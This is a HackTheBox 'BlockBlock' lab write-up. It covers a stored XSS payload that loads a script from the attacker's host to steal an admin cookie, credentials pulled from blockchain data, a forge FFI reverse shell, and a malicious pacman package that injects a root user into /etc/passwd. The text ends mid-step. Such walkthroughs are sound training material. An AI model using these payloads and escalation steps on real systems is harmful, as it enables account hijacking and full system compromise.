HackTheBox Writeup - Machines - BlockBlock

HackTheBox Writeup - Machines - BlockBlock

🕒 2025/03/27

BlockBlock

  • IP: 10.10.11.43
  • OS: Linux
  • Difficulty: Hard

1. Nmap

First, let's scan all the ports on the machine with nmap.

  • sudo nmap -sS -sV -sC -v -p 1-65535 -oN nmap.txt 10.10.11.43
    # Nmap 7.94SVN scan initiated Tue Mar 25 22:37:05 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -p 1-65535 -oN nmap.txt 10.10.11.43
    Nmap scan report for 10.10.11.43
    Host is up (0.20s latency).
    Not shown: 65532 closed tcp ports (reset)
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 9.7 (protocol 2.0)
    | ssh-hostkey: 
    |   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
    |_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
    80/tcp   open  http    Werkzeug/3.0.3 Python/3.12.3
    |_http-favicon: Unknown favicon MD5: D07AD703EDD6F8326B5C45F86CA8084E
    | http-methods: 
    |_  Supported Methods: GET HEAD OPTIONS
    |_http-server-header: Werkzeug/3.0.3 Python/3.12.3
    | fingerprint-strings: 
    |   GetRequest: 
    |     HTTP/1.1 200 OK
    |     Server: Werkzeug/3.0.3 Python/3.12.3
    |     Date: Tue, 25 Mar 2025 14:42:03 GMT
    |     Content-Type: text/html; charset=utf-8
    |     Content-Length: 275864
    |     Access-Control-Allow-Origin: http://0.0.0.0/
    |     Access-Control-Allow-Headers: Content-Type,Authorization
    |     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
    |     Connection: close
    |     <!DOCTYPE html>
    |     <html>
    |     <head>
    |     <title>
    |     Home - DBLC
    |     </title>
    |     <link rel="stylesheet" href="/assets/nav-bar.css">
    |     </head>
    |     <body>
    |     <!-- <main> -->
    |     <meta charset=utf-8>
    |     <meta name=viewport content="width=device-width, initial-scale=1">
    |     <style>
    |     :after,
    |     :before {
    |     box-sizing: border-box;
    |     border: 0 solid #e5e7eb
    |     :after,
    |     :before {
    |     --tw-content: ""
    |     :host,
    |     html {
    |     line-height: 1.5;
    |   HTTPOptions: 
    |     HTTP/1.1 500 INTERNAL SERVER ERROR
    |     Server: Werkzeug/3.0.3 Python/3.12.3
    |     Date: Tue, 25 Mar 2025 14:42:03 GMT
    |     Content-Type: text/html; charset=utf-8
    |     Content-Length: 265
    |     Access-Control-Allow-Origin: http://0.0.0.0/
    |     Access-Control-Allow-Headers: Content-Type,Authorization
    |     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
    |     Connection: close
    |     <!doctype html>
    |     <html lang=en>
    |     <title>500 Internal Server Error</title>
    |     <h1>Internal Server Error</h1>
    |_    <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
    |_http-title:          Home  - DBLC    
    8545/tcp open  unknown
    | fingerprint-strings: 
    |   GetRequest: 
    |     HTTP/1.1 400 BAD REQUEST
    |     Server: Werkzeug/3.0.3 Python/3.12.3
    |     Date: Tue, 25 Mar 2025 14:42:04 GMT
    |     content-type: text/plain; charset=utf-8
    |     Content-Length: 43
    |     vary: origin, access-control-request-method, access-control-request-headers
    |     access-control-allow-origin: *
    |     date: Tue, 25 Mar 2025 14:42:04 GMT
    |     Connection: close
    |     Connection header did not include 'upgrade'
    |   HTTPOptions: 
    |     HTTP/1.1 200 OK
    |     Server: Werkzeug/3.0.3 Python/3.12.3
    |     Date: Tue, 25 Mar 2025 14:42:04 GMT
    |     Content-Type: text/html; charset=utf-8
    |     Allow: HEAD, POST, OPTIONS, GET
    |     Access-Control-Allow-Origin: *
    |     Content-Length: 0
    |     Connection: close
    |   Help: 
    |     <!DOCTYPE HTML>
    |     <html lang="en">
    |     <head>
    |     <meta charset="utf-8">
    |     <title>Error response</title>
    |     </head>
    |     <body>
    |     <h1>Error response</h1>
    |     <p>Error code: 400</p>
    |     <p>Message: Bad request syntax ('HELP').</p>
    |     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
    |     </body>
    |     </html>
    |   RTSPRequest: 
    |     <!DOCTYPE HTML>
    |     <html lang="en">
    |     <head>
    |     <meta charset="utf-8">
    |     <title>Error response</title>
    |     </head>
    |     <body>
    |     <h1>Error response</h1>
    |     <p>Error code: 400</p>
    |     <p>Message: Bad request version ('RTSP/1.0').</p>
    |     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
    |     </body>
    |_    </html>
    2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
    ...
    
    Read data files from: /usr/share/nmap
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Tue Mar 25 22:43:36 2025 -- 1 IP address (1 host up) scanned in 391.44 seconds
    

2. Website

Let’s register with the username ass & the password ass

Once we’ve registered and logged in, we can use the chat window.

Since we found a URL path /api/, let's perform directory enumeration using gobuster.

http://10.10.11.43/api/info returns data that includes the user's cookie.


3. XSS

First, let's test if someone reacts to a Report User message.

  • Test Payload
    • Report User
      image
      • <p>ass</p>
        <img src="http://10.10.14.17/test" style="display:none">
    • python3 -m http.server 80
      image

As seen above, someone (possibly an admin) reacts to it.

With the execution flow confirmed, we can now proceed to craft the actual payload.
The goal of the payload is to fetch /api/info from that user's browser and exfiltrate the response to our server.

Exploitation Flow:

  1. Create a JavaScript file 404.js that fetches /api/info and exfiltrates the data to our server via an image request.
    • 404.js
      image
  2. Start a Python HTTP server to serve 404.js & capture incoming data.
    • python3 -m http.server 80
      image
  3. Submit the XSS payload via Report User, which loads 404.js when a non-existent image fails to load.
    • Report User
      image
      • <p>ass</p>
        <img src=/404.jpg onerror="let s=document.createElement('script');s.src='http://10.10.14.17/404.js';(document.body||document.documentElement).appendChild(s)">
  • python3 -m http.server 80
    image

We successfully received a request containing the URL-encoded cookie from the user's browser.

Let's decode it.

  • URL decode
    image

As seen above, the user is admin, and we have obtained their cookie, which allows us to impersonate them and log in.

Let's modify the token cookie and refresh the page.
image

As seen above, we successfully logged in as admin.


4. Burp Suite

Referencing https://www.quicknode.com/docs/ethereum/eth_getBlockByNumber, we attempt to query the block data via a JSON-RPC request.

The eth_getBlockByNumber method returns information about a specific block on the Ethereum blockchain, identified by its block number. By setting the second parameter to true, the response includes full transaction objects instead of just their hashes.

  • POST /api/json-rpc
    image
    • Request Payload
      {
        "jsonrpc": "2.0",
        "method": "eth_getBlockByNumber",
        "params": ["0x1", true],
        "id": 1
      }
      
    • Response
      • result -> transactions -> input
      • save the input field to input.txt

Then, we use the following command to convert the hex-encoded input field into a readable string.

  • cat input.txt | xxd -r -p
    image
    image

At the end of the decoded string, we find two notable strings.

  • keira | SomedayBitCoinWillCollapse

5. SSH

Let's try logging in via SSH using the credentials keira | SomedayBitCoinWillCollapse.

  • sshpass -p 'SomedayBitCoinWillCollapse' ssh keira@10.10.11.43
    image

As seen above, we successfully logged in as keira.

  • Flag
    • /home/keira/user.txt
      image

6. Abusing Sudo (keira -> paul)

After further investigation, we discovered something interesting related to sudo permissions.

  • sudo -l
    image

We have permission to execute /home/paul/.foundry/bin/forge as paul.

  • sudo -u paul /home/paul/.foundry/bin/forge --help
    image

forge is a CLI tool from the Foundry smart contract development suite, which supports executing local scripts. If misconfigured with FFI enabled, it can be abused to run arbitrary system commands.

Next, we initialize a new Foundry project using forge init:

  • sudo -u paul /home/paul/.foundry/bin/forge init --force
    image

We then enable FFI (Foreign Function Interface), which allows calling external binaries, by modifying foundry.toml:

  • foundry.toml
    image
    • append ffi = true

Next, we copy the required Forge standard library forge-std (https://github.com/foundry-rs/forge-std) from its online repository to /tmp/lib/, so that our script can import and use it during compilation.

We then create a malicious Solidity script that executes a reverse shell:

  • shell.sh (reverse shell)
    image
  • shell.s.sol
    image

Place both scripts under /tmp/privesc/.

  • /tmp/privesc/
    image

Now we can execute our payload. First, let's launch a listener on our Kali machine:

  • nc -nvlp 443
    image

Then execute the malicious script using forge script, which runs as user paul:

  • sudo -u paul /home/paul/.foundry/bin/forge script shell.s.sol
    image
  • nc -nvlp 443
    image

As seen above, we successfully obtained a reverse shell as paul.


7. Abusing Sudo (paul -> root)

Now that we are paul, further investigation reveals something interesting related to sudo permissions.

  • sudo -l
    image

We have root privileges to execute /usr/bin/pacman.

pacman is the default package manager for Arch Linux and its derivatives. It allows users to install, upgrade, and manage software packages, including custom-built ones.

We prepare a custom PKGBUILD file to create a malicious package that will overwrite /etc/passwd and inject a new root-level user h4ck3r with the password P@55w0rd.

A PKGBUILD file is a script used to define how a package should be built, including what files to install and where to place them. By modifying a PKGBUILD, an attacker can create a package that overwrites critical system files, such as /etc/passwd, if installed with elevated privileges.

  • PKBUILD
    image
    • append h4ck3r:$1$E8y40dP8$B4nbjpJfuHShS/erujVxU.:0:0:root:/root:/bin/bash to /etc/passwd

Build the malicious package:

  • makepkg --skipinteg
    image

Install the package and overwrite /etc/passwd:

  • sudo /usr/bin/pacman -U pwn-1.0-1-any.pkg.tar.zst --overwrite /etc/passwd
    image
  • /etc/passwd
    image

As seen above, /etc/passwd has been modified.

We can now switch to the newly created user h4ck3r with root privileges: